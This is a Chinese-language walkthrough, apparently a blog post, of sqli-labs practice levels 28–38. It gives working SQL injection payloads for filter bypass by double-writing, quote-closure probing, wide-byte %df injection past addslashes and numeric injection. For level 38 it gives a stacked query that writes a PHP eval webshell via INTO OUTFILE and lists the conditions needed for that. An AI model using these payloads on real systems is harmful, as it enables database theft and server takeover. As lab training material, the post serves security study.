【sql-labs】闯关记录28~38详解

【sql-labs】闯关记录28~38


【less-28】过滤union%0aselect

image-20210422230001428

测试流程

?id=1') and%0a'1'=('1  #成功回显
?id=1') and%0a'1'=('2  #会显失败

#测试回显字段
?id=232323') %0aunion%0aselect%0a1,2,3%0aand%0a'1'=('1  
#发现union%0aselect被过滤了
#于是混淆双写,成功绕过
?id=232323') %0auniunion%0aselecton%0aselect%0a1,2,3%0aand%0a'1'=('1

#查询数据库名
?id=232323') %0auniunion%0aselecton%0aselect%0a1,database(),3%0aand%0a'1'=('1

#查询表名
?id=232323') %0auniunion%0aselecton%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0a where%0a table_schema=database()and%0a'1'=('1

#接下来查字段名、字段值依次类推

核心代码

image-20210422225925587

小结

闭合方式为(’’)

过滤了union%0aselect,直接双写绕过即可


【less-28a】关闭了错误回显

说是盲注,但依然可以回显,用上一关的payload依然可以

image-20210422230516309

核心代码

image-20210422230420561

如图所示过滤掉了union%0aselect


【less-29】世界最好的防火墙

嗯?到底用了什么过滤策略,敢说是全世界最好的防火墙?

image-20210423205923497

测试流程
?id=1         #成功回显
?id=1'        #直接报错
?id=1' and 1=1%23    #成功回显
?id=1' order by 3   #成功回显
?id=1' order by 4   #回显失败,说明主查询字段数为3

?id=1' and 1=2 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()%23
#暴数据库名,数据库表
#接下来暴字段名,字段值

没有任何过滤字符,还好意思说自己是世界上最好的防火墙 |=_=|


【less-30】世界上最好的防火墙

image-20210423211641996

测试流程
?id=1     #回显正常
?id=1'    #依然回显正常
?id=1"    #回显异常,说明有可能是"闭合
?id=1" and 1=1%23  #回显正常
?id=1" order by 3%23   #order by测试出主查询字段数为3
?id=1" and 1=2 union select 1,2,3%23  #测试出回显点为2,3
#然后暴数据库名、表名、字段名、字段值,和以前套路一样
小结

与上一关相比,只是闭合方式不同。这防火墙真不靠谱|=_=|


【less-31】世界上最好的WAF

image-20210423212830007

测试流程
?id=1        #回显正常
?id=1'       #回显正常
?id=1"       #直接报错,说明闭合方式可能是"
?id=1" and 1=1--+   #依然报错
?id=1") and 1=1--+   #回显成功
?id=1") and 1=2 union select 1,2,database()--+  #暴数据库名
#接下来暴表名、字段名、字段值等和之前一样
小结

和上一关相比只是闭合方式不同"),这个全世界最好的WAF也不咋地|=_=|


【less-32】宽字节注入

image-20210423214112957

测试流程
?id=1'     #发现'被注释
?id=1%df'   #单引号直接逃逸,导致报错
?id=1%df' and 1=1%23   #回显正常
?id=1%df' and 1=2%23   #回显异常
#然后剩下就是order by字段数,查数据库名、查表名、查字段名、查字段值
核心代码

image-20210423214803576

如图所示,分别对反斜线、单引号和双引号进行了转义,本来就比较安全了,但是关键在于下面一句:

image-20210423214823039

将接收的参数用宽字节gbk去解释,所以造成宽字节注入。


【less-33】宽字节注入

image-20210423220515599

测试流程
?id=1   #回显正常
?id=1'   #回显正常,发现单引号被转义
?id=1%df' and 1=1%23   #回显正常
#接下来步骤和之前一样
核心代码

image-20210423220902016

image-20210423220913415

小结

与上一关不同的是,这一关用了addslashes()函数过滤,实质效果一样。


【less-34】post宽字节注入

image-20210423221635633

是一个表单,首先尝试万能密码登录

image-20210423221752320

结果失败,发现单引号被转义了。

于是考虑一波宽字节注入:

image-20210423221904719

image-20210423221920397

成功登录!


【less-35】数字型注入

image-20210423222302201

虽然用了addslashes()函数做了转义,但是为数字型注入,根本不妨碍注入,直接绕过。


【less-36】宽字节注入

关于宽字节注入原理请参照文章传送门


【less-37】post宽字节注入

相比于less-34关只是转义的函数不同,实质效果一样。

less-34:

image-20210423223114716

less-37:

image-20210423223043951


【less-38】堆叠注入

image-20210424135203842

写入webshell

?id=1';select '<?php @eval($_POST[x])?>' into outfile 'D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\test.php'%23

用菜刀连接:

image-20210424135314875

成功!

写入webshell条件:

1、知道网站上可以写的绝对路径

2、该目录有写入权限

3、数据库开启了secure_file_priv权限

image-20210424135659577

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值